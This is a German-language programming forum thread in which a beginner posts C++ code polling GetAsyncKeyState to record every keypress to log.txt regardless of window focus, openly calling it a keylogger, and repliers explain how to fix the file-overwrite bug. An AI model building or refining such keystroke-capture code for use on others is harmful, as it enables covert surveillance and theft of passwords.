int main()
{
SHORT KeyState;
SHORT ArrKeyState[256];
long CheckSum;
long OldCheckSum = 987654; // dummy
using std::ofstream;
using std::endl;
while (1)
{
CheckSum = 0;
for (int i = 0; i < 256; i++)
{
KeyState = GetAsyncKeyState(i);
CheckSum += KeyState;
ArrKeyState[i] = KeyState;
}
if (OldCheckSum != CheckSum)
{
for (int i = 0; i < 256; i++)
{
// -32767 = KeyDown
if (ArrKeyState[i] == -32767)
{
ofstream fout("log.txt");
fout << "Key " << i << " pressed. (" << (char) i << ")" << endl;
}
}
}
OldCheckSum = CheckSum;
}
}
Mit Cout funktioniert das ganze sehr gut, aber da ich leider absoluter C++ Neuling bin, bin ich total überfragt warum es so nicht geht. Das Programm soll lediglig einen eingegebenen Buchstaben von der Tastatur ablesen und in die Datei schreiben, aber auch dann wenn es nicht im Focus ist. (Sowas wie ein Keylogger)
Nochmal die entscheidene Stelle:
Zitat:
ofstream fout("log.txt");
fout << "Key " << i << " pressed. (" << (char) i << ")" << endl;
__________________ „Der Horizont der meisten Menschen ist ein Kreis mit dem Radius 0. Und das nennen sie ihren Standpunkt.“ - Albert Einstein
Dabei seit: 11.12.2001
Beiträge: 2.282
Herkunft: /dev/stderr
Abgesehen davon, dass ich nicht verstanden habe, wie dein Programm sich die Eingabe besorgt (was hier aber ja egal zu sein scheint), wirst du bei jedem oeffnen der Datei "log.txt" eine neue Datei anlegen und die alte ueberschreiben.
Ist dein Problem, dass die Datei nachher nur einen Eintrag enthaelt oder steht garnichts drin?
Wenn du anhaengen willst, musst du die Datei mit dem Flag std::ios::app oeffnen [1]
Ausserdem waere es sinnvoll die Datei fuer die Laufzeit des Programms offen zu halten, da du die Datei sonst vollkommen unnoetigerweise bei jedem Tastendruck (oder loslassen) erneut oeffnest.
Dabei seit: 19.10.2002
Beiträge: 3.028
Herkunft: Irgendwo im Nirgendwo
Du müsstest den Stream vor der Schleife erstellen, und ihn dann in der Schleife benutzen. So erstellst du jedesmal eine neue Datei, welche die alte überschreibt, wie Black Star bereits beschrieben hat.
Gibt es einen Grund, warum du GetAsyncKeyState anstatt cin/cin.get() benutzt?
phlox
__________________ Intelligenz ist eine Illusion des Menschen
Dabei seit: 11.12.2001
Beiträge: 2.282
Herkunft: /dev/stderr
Ich habe deine Frage auch nicht richtig verstanden, interpretiere sie aber auch anders als phlox81.
Der Unterschied zwischen << "\n" und << std::endl ist, dass std::endl auch noch ein flush() ausfuehrt, wodurch gepufferte daten auf den stream geschrieben werden.